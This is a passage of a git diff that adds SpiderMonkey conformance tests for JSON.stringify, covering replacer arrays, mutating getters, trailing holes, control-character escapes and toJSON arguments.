+assertEq(JSON.stringify({ 1: 1 }, [new String(1), new Number(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [new Number(1), new String(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [new Number(1), new Number(1)]), '{"1":1}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-replacer-array-edgecase-jsid-elements.js b/js/src/tests/ecma_5/JSON/stringify-replacer-array-edgecase-jsid-elements.js
new file mode 100644
index 000000000..e7be4c6e1
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-replacer-array-edgecase-jsid-elements.js
@@ -0,0 +1,77 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-edgecase-jsid-elements.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary =
+ "Better/more correct handling for replacer arrays with getter array index " +
+ "properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/* JSID_INT_MIN/MAX copied from jsapi.h. */
+
+var obj =
+ {
+ /* [JSID_INT_MIN - 1, JSID_INT_MIN + 1] */
+ "-1073741825": -1073741825,
+ "-1073741824": -1073741824,
+ "-1073741823": -1073741823,
+
+ "-2.5": -2.5,
+ "-1": -1,
+
+ 0: 0,
+
+ 1: 1,
+ 2.5: 2.5,
+
+ /* [JSID_INT_MAX - 1, JSID_INT_MAX + 1] */
+ 1073741822: 1073741822,
+ 1073741823: 1073741823,
+ 1073741824: 1073741824,
+ };
+
+for (var s in obj)
+{
+ var n = obj[s];
+ assertEq(+s, n);
+ assertEq(JSON.stringify(obj, [n]),
+ '{"' + s + '":' + n + '}',
+ "Failed to stringify numeric property " + n + "correctly");
+ assertEq(JSON.stringify(obj, [s]),
+ '{"' + s + '":' + n + '}',
+ "Failed to stringify string property " + n + "correctly");
+ assertEq(JSON.stringify(obj, [s, ]),
+ '{"' + s + '":' + n + '}',
+ "Failed to stringify string then number properties ('" + s + "', " + n + ") correctly");
+ assertEq(JSON.stringify(obj, [n, s]),
+ '{"' + s + '":' + n + '}',
+ "Failed to stringify number then string properties (" + n + ", '" + s + "') correctly");
+}
+
+// -0 is tricky, because ToString(-0) === "0", so test it specially.
+assertEq(JSON.stringify({ "-0": 17, 0: 42 }, [-0]),
+ '{"0":42}',
+ "Failed to stringify numeric property -0 correctly");
+assertEq(JSON.stringify({ "-0": 17, 0: 42 }, ["-0"]),
+ '{"-0":17}',
+ "Failed to stringify string property -0 correctly");
+assertEq(JSON.stringify({ "-0": 17, 0: 42 }, ["-0", -0]),
+ '{"-0":17,"0":42}',
+ "Failed to stringify string then number properties ('-0', -0) correctly");
+assertEq(JSON.stringify({ "-0": 17, 0: 42 }, [-0, "-0"]),
+ '{"0":42,"-0":17}',
+ "Failed to stringify number then string properties (-0, '-0) correctly");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-replacer-array-hijinks.js b/js/src/tests/ecma_5/JSON/stringify-replacer-array-hijinks.js
new file mode 100644
index 000000000..60c949a5f
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-replacer-array-hijinks.js
@@ -0,0 +1,59 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-hijinks.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary =
+ "Better/more correct handling for replacer arrays with getter array index " +
+ "properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var replacer = [0, 1, 2, 3];
+Object.prototype[3] = 3;
+Object.defineProperty(replacer, 1, {
+ get: function()
+ {
+ Object.defineProperty(replacer, 4, { value: 4 });
+ delete replacer[2];
+ delete replacer[3];
+ replacer[5] = 5;
+ return 1;
+ }
+});
+
+var s =
+ JSON.stringify({0: { 1: { 3: { 4: { 5: { 2: "omitted" } } } } } }, replacer);
+
+// The replacer array's length is as seen on first query, so property names are
+// accumulated for indexes i ∈ {0, 1, 2, 3}, but index 1 deletes 2 and 3, so 2
+// isn't seen but 3 is seen as Object.prototype[3].
+assertEq('{"0":{"1":{"3":{"3":3}},"3":3},"3":3}', s);
+
+
+var replacer = [0, 1, 2, 3];
+Object.defineProperty(replacer, 0, {
+ get: function()
+ {
+ replacer.length = 0;
+ return {};
+ }
+});
+
+// The replacer.length truncation means only properties on the prototype chain
+// shine through, but it doesn't affect the original bounds of the iteration
+// used to determine property names which will be included in the final string.
+assertEq(JSON.stringify({ 0: 0, 1: 1, 2: 2, 3: 3 }, replacer),
+ '{"3":3}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-replacer-array-skipped-element.js b/js/src/tests/ecma_5/JSON/stringify-replacer-array-skipped-element.js
new file mode 100644
index 000000000..6297c3a5b
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-replacer-array-skipped-element.js
@@ -0,0 +1,62 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-skipped-element.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary =
+ "Better/more correct handling for replacer arrays with getter array index " +
+ "properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(JSON.stringify({ 3: 3, 4: 4 },
+ ["3", { toString: function() { return "4" } }]),
+ '{"3":3}');
+
+assertEq(JSON.stringify({ 3: 3, true: 4 }, ["3", true]),
+ '{"3":3}');
+
+assertEq(JSON.stringify({ 3: 3, true: 4 }, ["3", "true", true]),
+ '{"3":3,"true":4}');
+
+assertEq(JSON.stringify({ 3: 3, true: 4 }, ["3", true, "true"]),
+ '{"3":3,"true":4}');
+
+assertEq(JSON.stringify({ 3: 3, false: 4 }, ["3", false]),
+ '{"3":3}');
+
+assertEq(JSON.stringify({ 3: 3, false: 4 }, ["3", "false", false]),
+ '{"3":3,"false":4}');
+
+assertEq(JSON.stringify({ 3: 3, false: 4 }, ["3", false, "false"]),
+ '{"3":3,"false":4}');
+
+assertEq(JSON.stringify({ 3: 3, undefined: 4 }, ["3", undefined]),
+ '{"3":3}');
+
+assertEq(JSON.stringify({ 3: 3, undefined: 4 }, ["3", "undefined", undefined]),
+ '{"3":3,"undefined":4}');
+
+assertEq(JSON.stringify({ 3: 3, undefined: 4 }, ["3", undefined, "undefined"]),
+ '{"3":3,"undefined":4}');
+
+assertEq(JSON.stringify({ 3: 3, null: 4 }, ["3", null]),
+ '{"3":3}');
+
+assertEq(JSON.stringify({ 3: 3, null: 4 }, ["3", "null", null]),
+ '{"3":3,"null":4}');
+
+assertEq(JSON.stringify({ 3: 3, null: 4 }, ["3", null, "null"]),
+ '{"3":3,"null":4}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-replacer-array-trailing-holes.js b/js/src/tests/ecma_5/JSON/stringify-replacer-array-trailing-holes.js
new file mode 100644
index 000000000..6eb09855f
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-replacer-array-trailing-holes.js
@@ -0,0 +1,49 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = "stringify-replacer-array-trailing-holes.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1217069;
+var summary =
+ "Better/more correct handling for replacer arrays with trailing holes " +
+ "through which inherited elements might appear";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj = { 0: "hi", 1: "n-nao", 2: "run away!", 3: "bye" };
+
+var s;
+
+var replacer = [0, /* 1 */, /* 2 */, /* 3 */, ];
+
+assertEq(JSON.stringify(obj, replacer),
+ '{"0":"hi"}');
+
+var nobj = new Number(0);
+nobj.toString = () => { replacer[1] = 1; return 0; };
+replacer[0] = nobj;
+
+assertEq(JSON.stringify(obj, replacer),
+ '{"0":"hi","1":"n-nao"}');
+
+delete replacer[1];
+replacer[0] = 0;
+
+Object.prototype[0] = 0;
+Object.prototype[1] = 1;
+Object.prototype[2] = 2;
+Object.prototype[3] = 3;
+
+assertEq(JSON.stringify(obj, replacer),
+ '{"0":"hi","1":"n-nao","2":"run away!","3":"bye"}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-replacer-with-array-indexes.js b/js/src/tests/ecma_5/JSON/stringify-replacer-with-array-indexes.js
new file mode 100644
index 000000000..0b3f6896e
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-replacer-with-array-indexes.js
@@ -0,0 +1,56 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-with-array-indexes.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary =
+ "Call the replacer function for array elements with stringified indexes";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [0, 1, 2, 3, 4];
+
+var seenTopmost = false;
+var index = 0;
+function replacer()
+{
+ assertEq(arguments.length, 2);
+
+ var key = arguments[0], value = arguments[1];
+
+ // Topmost array: ignore replacer call.
+ if (key === "")
+ {
+ assertEq(seenTopmost, false);
+ seenTopmost = true;
+ return value;
+ }
+
+ assertEq(seenTopmost, true);
+
+ assertEq(typeof key, "string");
+ assertEq(key === index, false);
+ assertEq(key === index + "", true);
+
+ assertEq(value, index);
+
+ index++;
+
+ assertEq(this, arr);
+
+ return value;
+}
+
+assertEq(JSON.stringify(arr, replacer), '[0,1,2,3,4]');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-replacer.js b/js/src/tests/ecma_5/JSON/stringify-replacer.js
new file mode 100644
index 000000000..37497fd34
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-replacer.js
@@ -0,0 +1,155 @@
+/**
+ * These return* functions are used by the
+ * replacer tests taken from bug 512447
+ */
+function returnObjectFor1(k, v)
+{
+ if (k == "1")
+ return {};
+ return v;
+}
+function returnArrayFor1(k, v)
+{
+ if (k == "1")
+ return [];
+ return v;
+}
+function returnNullFor1(k, v)
+{
+ if (k == "1")
+ return null;
+ return v;
+}
+function returnStringForUndefined(k, v)
+{
+ if (v === undefined)
+ return "undefined value";
+ return v;
+}
+var cycleObject = {}; cycleObject.cycle = cycleObject;
+function returnCycleObjectFor1(k, v)
+{
+ if (k == "1")
+ return cycleObject;
+ return v;
+}
+var array = [0, 1, 2]; array[3] = array;
+function returnCycleArrayFor1(k, v)
+{
+ if (k == "1")
+ return array;
+ return v;
+}
+
+// BEGIN TEST
+var x;
+
+x = JSON.stringify({ key: 2 },
+ function(k,v) { return k ? undefined : v; });
+assertEq(x, "{}");
+
+x = JSON.stringify(["hmm", "hmm"],
+ function(k,v) { return k !== "" ? undefined : v; });
+assertEq(x, "[null,null]");
+
+var foo = ["hmm"];
+function censor(k, v)
+{
+ if (v !== foo)
+ return "XXX";
+ return v;
+}
+x = JSON.stringify(foo, censor);
+assertEq(x, '["XXX"]');
+
+foo = ["bar", ["baz"], "qux"];
+x = JSON.stringify(foo, censor);
+assertEq(x, '["XXX","XXX","XXX"]');
+
+function censor2(k, v)
+{
+ if (typeof(v) == "string")
+ return "XXX";
+ return v;
+}
+
+foo = ["bar", ["baz"], "qux"];
+x = JSON.stringify(foo, censor2);
+assertEq(x, '["XXX",["XXX"],"XXX"]');
+
+foo = { bar: 42, qux: 42, quux: 42 };
+x = JSON.stringify(foo, ["bar"]);
+assertEq(x, '{"bar":42}');
+
+foo = {bar: {bar: 42, schmoo:[]}, qux: 42, quux: 42};
+x = JSON.stringify(foo, ["bar", "schmoo"]);
+assertEq(x, '{"bar":{"bar":42,"schmoo":[]}}');
+
+x = JSON.stringify(foo, null, "");
+assertEq(x, '{"bar":{"bar":42,"schmoo":[]},"qux":42,"quux":42}');
+
+x = JSON.stringify(foo, null, " ");
+assertEq(x, '{\n "bar": {\n "bar": 42,\n "schmoo": []\n },\n "qux": 42,\n "quux": 42\n}');
+
+foo = {bar:{bar:{}}}
+x = JSON.stringify(foo, null, " ");
+assertEq(x, '{\n "bar": {\n "bar": {}\n }\n}');
+
+x = JSON.stringify({ x: 1, arr: [1] },
+ function (k,v) { return typeof v === 'number' ? 3 : v; });
+assertEq(x, '{"x":3,"arr":[3]}');
+
+foo = ['e'];
+x = JSON.stringify(foo, null, '\t');
+assertEq(x, '[\n\t"e"\n]');
+
+foo = {0:0, 1:1, 2:2, 3:undefined};
+x = JSON.stringify(foo, returnObjectFor1);
+assertEq(x, '{"0":0,"1":{},"2":2}');
+
+x = JSON.stringify(foo, returnArrayFor1);
+assertEq(x, '{"0":0,"1":[],"2":2}');
+
+x = JSON.stringify(foo, returnNullFor1);
+assertEq(x, '{"0":0,"1":null,"2":2}');
+
+x = JSON.stringify(foo, returnStringForUndefined);
+assertEq(x, '{"0":0,"1":1,"2":2,"3":"undefined value"}');
+
+try
+{
+ JSON.stringify(foo, returnCycleObjectFor1);
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "no TypeError thrown: " + e);
+}
+
+try
+{
+ JSON.stringify(foo, returnCycleArrayFor1);
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "no TypeError thrown: " + e);
+}
+
+foo = [0, 1, 2, undefined];
+try
+{
+ JSON.stringify(foo, returnCycleObjectFor1);
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "no TypeError thrown: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-special-escapes.js b/js/src/tests/ecma_5/JSON/stringify-special-escapes.js
new file mode 100644
index 000000000..cf3d8c28e
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-special-escapes.js
@@ -0,0 +1,227 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-special-escapes.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 512266;
+var summary =
+ "JSON.stringify of \\b\\f\\n\\r\\t should use one-character escapes, not hex";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(JSON.stringify("\u0000"), '"\\u0000"');
+assertEq(JSON.stringify("\u0001"), '"\\u0001"');
+assertEq(JSON.stringify("\u0002"), '"\\u0002"');
+assertEq(JSON.stringify("\u0003"), '"\\u0003"');
+assertEq(JSON.stringify("\u0004"), '"\\u0004"');
+assertEq(JSON.stringify("\u0005"), '"\\u0005"');
+assertEq(JSON.stringify("\u0006"), '"\\u0006"');
+assertEq(JSON.stringify("\u0007"), '"\\u0007"');
+assertEq(JSON.stringify("\u0008"), '"\\b"');
+assertEq(JSON.stringify("\u0009"), '"\\t"');
+assertEq(JSON.stringify("\u000A"), '"\\n"');
+assertEq(JSON.stringify("\u000B"), '"\\u000b"');
+assertEq(JSON.stringify("\u000C"), '"\\f"');
+assertEq(JSON.stringify("\u000D"), '"\\r"');
+assertEq(JSON.stringify("\u000E"), '"\\u000e"');
+assertEq(JSON.stringify("\u000F"), '"\\u000f"');
+assertEq(JSON.stringify("\u0010"), '"\\u0010"');
+assertEq(JSON.stringify("\u0011"), '"\\u0011"');
+assertEq(JSON.stringify("\u0012"), '"\\u0012"');
+assertEq(JSON.stringify("\u0013"), '"\\u0013"');
+assertEq(JSON.stringify("\u0014"), '"\\u0014"');
+assertEq(JSON.stringify("\u0015"), '"\\u0015"');
+assertEq(JSON.stringify("\u0016"), '"\\u0016"');
+assertEq(JSON.stringify("\u0017"), '"\\u0017"');
+assertEq(JSON.stringify("\u0018"), '"\\u0018"');
+assertEq(JSON.stringify("\u0019"), '"\\u0019"');
+assertEq(JSON.stringify("\u001A"), '"\\u001a"');
+assertEq(JSON.stringify("\u001B"), '"\\u001b"');
+assertEq(JSON.stringify("\u001C"), '"\\u001c"');
+assertEq(JSON.stringify("\u001D"), '"\\u001d"');
+assertEq(JSON.stringify("\u001E"), '"\\u001e"');
+assertEq(JSON.stringify("\u001F"), '"\\u001f"');
+assertEq(JSON.stringify("\u0020"), '" "');
+
+assertEq(JSON.stringify("\\u0000"), '"\\\\u0000"');
+assertEq(JSON.stringify("\\u0001"), '"\\\\u0001"');
+assertEq(JSON.stringify("\\u0002"), '"\\\\u0002"');
+assertEq(JSON.stringify("\\u0003"), '"\\\\u0003"');
+assertEq(JSON.stringify("\\u0004"), '"\\\\u0004"');
+assertEq(JSON.stringify("\\u0005"), '"\\\\u0005"');
+assertEq(JSON.stringify("\\u0006"), '"\\\\u0006"');
+assertEq(JSON.stringify("\\u0007"), '"\\\\u0007"');
+assertEq(JSON.stringify("\\u0008"), '"\\\\u0008"');
+assertEq(JSON.stringify("\\u0009"), '"\\\\u0009"');
+assertEq(JSON.stringify("\\u000A"), '"\\\\u000A"');
+assertEq(JSON.stringify("\\u000B"), '"\\\\u000B"');
+assertEq(JSON.stringify("\\u000C"), '"\\\\u000C"');
+assertEq(JSON.stringify("\\u000D"), '"\\\\u000D"');
+assertEq(JSON.stringify("\\u000E"), '"\\\\u000E"');
+assertEq(JSON.stringify("\\u000F"), '"\\\\u000F"');
+assertEq(JSON.stringify("\\u0010"), '"\\\\u0010"');
+assertEq(JSON.stringify("\\u0011"), '"\\\\u0011"');
+assertEq(JSON.stringify("\\u0012"), '"\\\\u0012"');
+assertEq(JSON.stringify("\\u0013"), '"\\\\u0013"');
+assertEq(JSON.stringify("\\u0014"), '"\\\\u0014"');
+assertEq(JSON.stringify("\\u0015"), '"\\\\u0015"');
+assertEq(JSON.stringify("\\u0016"), '"\\\\u0016"');
+assertEq(JSON.stringify("\\u0017"), '"\\\\u0017"');
+assertEq(JSON.stringify("\\u0018"), '"\\\\u0018"');
+assertEq(JSON.stringify("\\u0019"), '"\\\\u0019"');
+assertEq(JSON.stringify("\\u001A"), '"\\\\u001A"');
+assertEq(JSON.stringify("\\u001B"), '"\\\\u001B"');
+assertEq(JSON.stringify("\\u001C"), '"\\\\u001C"');
+assertEq(JSON.stringify("\\u001D"), '"\\\\u001D"');
+assertEq(JSON.stringify("\\u001E"), '"\\\\u001E"');
+assertEq(JSON.stringify("\\u001F"), '"\\\\u001F"');
+assertEq(JSON.stringify("\\u0020"), '"\\\\u0020"');
+
+
+assertEq(JSON.stringify("a\u0000"), '"a\\u0000"');
+assertEq(JSON.stringify("a\u0001"), '"a\\u0001"');
+assertEq(JSON.stringify("a\u0002"), '"a\\u0002"');
+assertEq(JSON.stringify("a\u0003"), '"a\\u0003"');
+assertEq(JSON.stringify("a\u0004"), '"a\\u0004"');
+assertEq(JSON.stringify("a\u0005"), '"a\\u0005"');
+assertEq(JSON.stringify("a\u0006"), '"a\\u0006"');
+assertEq(JSON.stringify("a\u0007"), '"a\\u0007"');
+assertEq(JSON.stringify("a\u0008"), '"a\\b"');
+assertEq(JSON.stringify("a\u0009"), '"a\\t"');
+assertEq(JSON.stringify("a\u000A"), '"a\\n"');
+assertEq(JSON.stringify("a\u000B"), '"a\\u000b"');
+assertEq(JSON.stringify("a\u000C"), '"a\\f"');
+assertEq(JSON.stringify("a\u000D"), '"a\\r"');
+assertEq(JSON.stringify("a\u000E"), '"a\\u000e"');
+assertEq(JSON.stringify("a\u000F"), '"a\\u000f"');
+assertEq(JSON.stringify("a\u0010"), '"a\\u0010"');
+assertEq(JSON.stringify("a\u0011"), '"a\\u0011"');
+assertEq(JSON.stringify("a\u0012"), '"a\\u0012"');
+assertEq(JSON.stringify("a\u0013"), '"a\\u0013"');
+assertEq(JSON.stringify("a\u0014"), '"a\\u0014"');
+assertEq(JSON.stringify("a\u0015"), '"a\\u0015"');
+assertEq(JSON.stringify("a\u0016"), '"a\\u0016"');
+assertEq(JSON.stringify("a\u0017"), '"a\\u0017"');
+assertEq(JSON.stringify("a\u0018"), '"a\\u0018"');
+assertEq(JSON.stringify("a\u0019"), '"a\\u0019"');
+assertEq(JSON.stringify("a\u001A"), '"a\\u001a"');
+assertEq(JSON.stringify("a\u001B"), '"a\\u001b"');
+assertEq(JSON.stringify("a\u001C"), '"a\\u001c"');
+assertEq(JSON.stringify("a\u001D"), '"a\\u001d"');
+assertEq(JSON.stringify("a\u001E"), '"a\\u001e"');
+assertEq(JSON.stringify("a\u001F"), '"a\\u001f"');
+assertEq(JSON.stringify("a\u0020"), '"a "');
+
+assertEq(JSON.stringify("a\\u0000"), '"a\\\\u0000"');
+assertEq(JSON.stringify("a\\u0001"), '"a\\\\u0001"');
+assertEq(JSON.stringify("a\\u0002"), '"a\\\\u0002"');
+assertEq(JSON.stringify("a\\u0003"), '"a\\\\u0003"');
+assertEq(JSON.stringify("a\\u0004"), '"a\\\\u0004"');
+assertEq(JSON.stringify("a\\u0005"), '"a\\\\u0005"');
+assertEq(JSON.stringify("a\\u0006"), '"a\\\\u0006"');
+assertEq(JSON.stringify("a\\u0007"), '"a\\\\u0007"');
+assertEq(JSON.stringify("a\\u0008"), '"a\\\\u0008"');
+assertEq(JSON.stringify("a\\u0009"), '"a\\\\u0009"');
+assertEq(JSON.stringify("a\\u000A"), '"a\\\\u000A"');
+assertEq(JSON.stringify("a\\u000B"), '"a\\\\u000B"');
+assertEq(JSON.stringify("a\\u000C"), '"a\\\\u000C"');
+assertEq(JSON.stringify("a\\u000D"), '"a\\\\u000D"');
+assertEq(JSON.stringify("a\\u000E"), '"a\\\\u000E"');
+assertEq(JSON.stringify("a\\u000F"), '"a\\\\u000F"');
+assertEq(JSON.stringify("a\\u0010"), '"a\\\\u0010"');
+assertEq(JSON.stringify("a\\u0011"), '"a\\\\u0011"');
+assertEq(JSON.stringify("a\\u0012"), '"a\\\\u0012"');
+assertEq(JSON.stringify("a\\u0013"), '"a\\\\u0013"');
+assertEq(JSON.stringify("a\\u0014"), '"a\\\\u0014"');
+assertEq(JSON.stringify("a\\u0015"), '"a\\\\u0015"');
+assertEq(JSON.stringify("a\\u0016"), '"a\\\\u0016"');
+assertEq(JSON.stringify("a\\u0017"), '"a\\\\u0017"');
+assertEq(JSON.stringify("a\\u0018"), '"a\\\\u0018"');
+assertEq(JSON.stringify("a\\u0019"), '"a\\\\u0019"');
+assertEq(JSON.stringify("a\\u001A"), '"a\\\\u001A"');
+assertEq(JSON.stringify("a\\u001B"), '"a\\\\u001B"');
+assertEq(JSON.stringify("a\\u001C"), '"a\\\\u001C"');
+assertEq(JSON.stringify("a\\u001D"), '"a\\\\u001D"');
+assertEq(JSON.stringify("a\\u001E"), '"a\\\\u001E"');
+assertEq(JSON.stringify("a\\u001F"), '"a\\\\u001F"');
+assertEq(JSON.stringify("a\\u0020"), '"a\\\\u0020"');
+
+
+assertEq(JSON.stringify("\u0000Q"), '"\\u0000Q"');
+assertEq(JSON.stringify("\u0001Q"), '"\\u0001Q"');
+assertEq(JSON.stringify("\u0002Q"), '"\\u0002Q"');
+assertEq(JSON.stringify("\u0003Q"), '"\\u0003Q"');
+assertEq(JSON.stringify("\u0004Q"), '"\\u0004Q"');
+assertEq(JSON.stringify("\u0005Q"), '"\\u0005Q"');
+assertEq(JSON.stringify("\u0006Q"), '"\\u0006Q"');
+assertEq(JSON.stringify("\u0007Q"), '"\\u0007Q"');
+assertEq(JSON.stringify("\u0008Q"), '"\\bQ"');
+assertEq(JSON.stringify("\u0009Q"), '"\\tQ"');
+assertEq(JSON.stringify("\u000AQ"), '"\\nQ"');
+assertEq(JSON.stringify("\u000BQ"), '"\\u000bQ"');
+assertEq(JSON.stringify("\u000CQ"), '"\\fQ"');
+assertEq(JSON.stringify("\u000DQ"), '"\\rQ"');
+assertEq(JSON.stringify("\u000EQ"), '"\\u000eQ"');
+assertEq(JSON.stringify("\u000FQ"), '"\\u000fQ"');
+assertEq(JSON.stringify("\u0010Q"), '"\\u0010Q"');
+assertEq(JSON.stringify("\u0011Q"), '"\\u0011Q"');
+assertEq(JSON.stringify("\u0012Q"), '"\\u0012Q"');
+assertEq(JSON.stringify("\u0013Q"), '"\\u0013Q"');
+assertEq(JSON.stringify("\u0014Q"), '"\\u0014Q"');
+assertEq(JSON.stringify("\u0015Q"), '"\\u0015Q"');
+assertEq(JSON.stringify("\u0016Q"), '"\\u0016Q"');
+assertEq(JSON.stringify("\u0017Q"), '"\\u0017Q"');
+assertEq(JSON.stringify("\u0018Q"), '"\\u0018Q"');
+assertEq(JSON.stringify("\u0019Q"), '"\\u0019Q"');
+assertEq(JSON.stringify("\u001AQ"), '"\\u001aQ"');
+assertEq(JSON.stringify("\u001BQ"), '"\\u001bQ"');
+assertEq(JSON.stringify("\u001CQ"), '"\\u001cQ"');
+assertEq(JSON.stringify("\u001DQ"), '"\\u001dQ"');
+assertEq(JSON.stringify("\u001EQ"), '"\\u001eQ"');
+assertEq(JSON.stringify("\u001FQ"), '"\\u001fQ"');
+assertEq(JSON.stringify("\u0020Q"), '" Q"');
+
+assertEq(JSON.stringify("\\u0000Q"), '"\\\\u0000Q"');
+assertEq(JSON.stringify("\\u0001Q"), '"\\\\u0001Q"');
+assertEq(JSON.stringify("\\u0002Q"), '"\\\\u0002Q"');
+assertEq(JSON.stringify("\\u0003Q"), '"\\\\u0003Q"');
+assertEq(JSON.stringify("\\u0004Q"), '"\\\\u0004Q"');
+assertEq(JSON.stringify("\\u0005Q"), '"\\\\u0005Q"');
+assertEq(JSON.stringify("\\u0006Q"), '"\\\\u0006Q"');
+assertEq(JSON.stringify("\\u0007Q"), '"\\\\u0007Q"');
+assertEq(JSON.stringify("\\u0008Q"), '"\\\\u0008Q"');
+assertEq(JSON.stringify("\\u0009Q"), '"\\\\u0009Q"');
+assertEq(JSON.stringify("\\u000AQ"), '"\\\\u000AQ"');
+assertEq(JSON.stringify("\\u000BQ"), '"\\\\u000BQ"');
+assertEq(JSON.stringify("\\u000CQ"), '"\\\\u000CQ"');
+assertEq(JSON.stringify("\\u000DQ"), '"\\\\u000DQ"');
+assertEq(JSON.stringify("\\u000EQ"), '"\\\\u000EQ"');
+assertEq(JSON.stringify("\\u000FQ"), '"\\\\u000FQ"');
+assertEq(JSON.stringify("\\u0010Q"), '"\\\\u0010Q"');
+assertEq(JSON.stringify("\\u0011Q"), '"\\\\u0011Q"');
+assertEq(JSON.stringify("\\u0012Q"), '"\\\\u0012Q"');
+assertEq(JSON.stringify("\\u0013Q"), '"\\\\u0013Q"');
+assertEq(JSON.stringify("\\u0014Q"), '"\\\\u0014Q"');
+assertEq(JSON.stringify("\\u0015Q"), '"\\\\u0015Q"');
+assertEq(JSON.stringify("\\u0016Q"), '"\\\\u0016Q"');
+assertEq(JSON.stringify("\\u0017Q"), '"\\\\u0017Q"');
+assertEq(JSON.stringify("\\u0018Q"), '"\\\\u0018Q"');
+assertEq(JSON.stringify("\\u0019Q"), '"\\\\u0019Q"');
+assertEq(JSON.stringify("\\u001AQ"), '"\\\\u001AQ"');
+assertEq(JSON.stringify("\\u001BQ"), '"\\\\u001BQ"');
+assertEq(JSON.stringify("\\u001CQ"), '"\\\\u001CQ"');
+assertEq(JSON.stringify("\\u001DQ"), '"\\\\u001DQ"');
+assertEq(JSON.stringify("\\u001EQ"), '"\\\\u001EQ"');
+assertEq(JSON.stringify("\\u001FQ"), '"\\\\u001FQ"');
+assertEq(JSON.stringify("\\u0020Q"), '"\\\\u0020Q"');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-toJSON-arguments.js b/js/src/tests/ecma_5/JSON/stringify-toJSON-arguments.js
new file mode 100644
index 000000000..7c2013d58
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-toJSON-arguments.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-toJSON-arguments.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "Arguments when an object's toJSON method is called";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj =
+ {
+ p: {
+ toJSON: function(key)
+ {
+ assertEq(arguments.length, 1);
+ assertEq(key, "p");
+ return 17;
+ }
+ }
+ };
+
+assertEq(JSON.stringify(obj), '{"p":17}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify.js b/js/src/tests/ecma_5/JSON/stringify.js
new file mode 100644
index 000000000..1a7e9b150
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify.js
@@ -0,0 +1,84 @@
+function assertStringify(v, expect)
+{
+ assertEq(JSON.stringify(v), expect);
+}
+
+assertStringify({}, "{}");
+assertStringify([], "[]");
+assertStringify({"foo":"bar"}, '{"foo":"bar"}');
